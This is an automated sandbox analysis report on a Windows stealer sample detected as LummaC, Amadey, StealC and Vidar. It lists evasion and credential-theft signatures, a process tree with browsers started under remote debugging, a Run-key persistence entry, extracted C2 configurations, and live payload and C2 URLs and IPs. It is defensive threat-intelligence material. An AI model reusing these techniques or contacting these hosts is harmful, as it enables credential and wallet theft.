Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557001
MD5:	87d0a89cd6e89e8b816f7d1217369d01
SHA1:	5578e7a41949b2b84a492db02ec312a8c5d9bbf8
SHA256:	67f6bc35f167c485702ca21c48861aed2b2c1b92b5624c39daa33f47754bc70e
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6252 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 87D0A89CD6E89E8B816F7D1217369D01)

chrome.exe (PID: 4072 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5800 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2188,i,13929647994171333099,11470152386843183422,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7628 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7852 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2364,i,7831822762904508803,12076089409015182220,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8404 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJKEHIIJJEC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsJKEHIIJJEC.exe (PID: 8460 cmdline: "C:\Users\user\DocumentsJKEHIIJJEC.exe" MD5: E6B92405E74B69C11B84C463CE2EB30C)

skotes.exe (PID: 8764 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: E6B92405E74B69C11B84C463CE2EB30C)

msedge.exe (PID: 7880 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8176 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7788 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6764 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7808 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6956 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 7676 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5432 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 7780 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5432 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 8956 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7064 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 9180 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: E6B92405E74B69C11B84C463CE2EB30C)

a929660733.exe (PID: 6804 cmdline: "C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe" MD5: E2B4AD896B6B95121ABC835984B6AE8A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2721107227.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000002.2833861204.0000000000CA1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.3438144331.0000000000CA1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000002.2803862444.0000000000F81000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2202530763.0000000005590000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2721107227.0000000000C6C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2722740091.00000000017FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6252	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6252	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6252	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6252	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
23.2.skotes.exe.ca0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.ca0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.DocumentsJKEHIIJJEC.exe.f80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 9180, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\a929660733.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6252, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 4072, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 9180, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\a929660733.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T01:40:14.528224+0100	2028371	3	Unknown Traffic	192.168.2.6	56909	188.114.96.3	443	TCP
2024-11-17T01:40:15.765249+0100	2028371	3	Unknown Traffic	192.168.2.6	56911	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T01:40:15.068329+0100	2054653	1	A Network Trojan was detected	192.168.2.6	56909	188.114.96.3	443	TCP
2024-11-17T01:40:16.266467+0100	2054653	1	A Network Trojan was detected	192.168.2.6	56911	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T01:40:15.068329+0100	2049836	1	A Network Trojan was detected	192.168.2.6	56909	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T01:40:16.266467+0100	2049812	1	A Network Trojan was detected	192.168.2.6	56911	188.114.96.3	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T01:40:15.169299+0100	2044696	1	A Network Trojan was detected	192.168.2.6	56910	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T01:38:15.549130+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49714	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T01:38:15.542930+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T01:38:15.830333+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T01:38:16.937476+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T01:38:15.837011+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49714	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T01:38:15.255991+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T01:40:05.898477+0100	2856147	1	A Network Trojan was detected	192.168.2.6	56906	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T01:40:14.258148+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	56907	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T01:40:09.254944+0100	2803305	3	Unknown Traffic	192.168.2.6	56908	185.215.113.16	80	TCP
2024-11-17T01:40:16.098261+0100	2803305	3	Unknown Traffic	192.168.2.6	56912	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T01:38:17.790276+0100	2803304	3	Unknown Traffic	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-17T01:38:45.484581+0100	2803304	3	Unknown Traffic	192.168.2.6	49911	185.215.113.206	80	TCP
2024-11-17T01:38:48.882441+0100	2803304	3	Unknown Traffic	192.168.2.6	49911	185.215.113.206	80	TCP
2024-11-17T01:38:50.790672+0100	2803304	3	Unknown Traffic	192.168.2.6	49911	185.215.113.206	80	TCP
2024-11-17T01:38:51.811413+0100	2803304	3	Unknown Traffic	192.168.2.6	49911	185.215.113.206	80	TCP
2024-11-17T01:38:53.939417+0100	2803304	3	Unknown Traffic	192.168.2.6	49911	185.215.113.206	80	TCP
2024-11-17T01:38:54.562620+0100	2803304	3	Unknown Traffic	192.168.2.6	49911	185.215.113.206	80	TCP
2024-11-17T01:38:58.832815+0100	2803304	3	Unknown Traffic	192.168.2.6	56852	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.phpL.M	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exepa	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exe0p	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exe06784001	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.php02	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllc	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs:443/api	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/mine/random.exeK	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exeXt	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/6	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe61391	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 00000017.00000002.2833861204.0000000000CA1000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.6252.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 47%
Source: file.exe	Virustotal: Detection: 54%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAC6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CAC6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:56826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:56823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:56900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:56905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:56909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:56911 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2752429002.000000006CCEF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2752429002.000000006CCEF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 8MB later: 31MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49714 -> 185.215.113.206:80
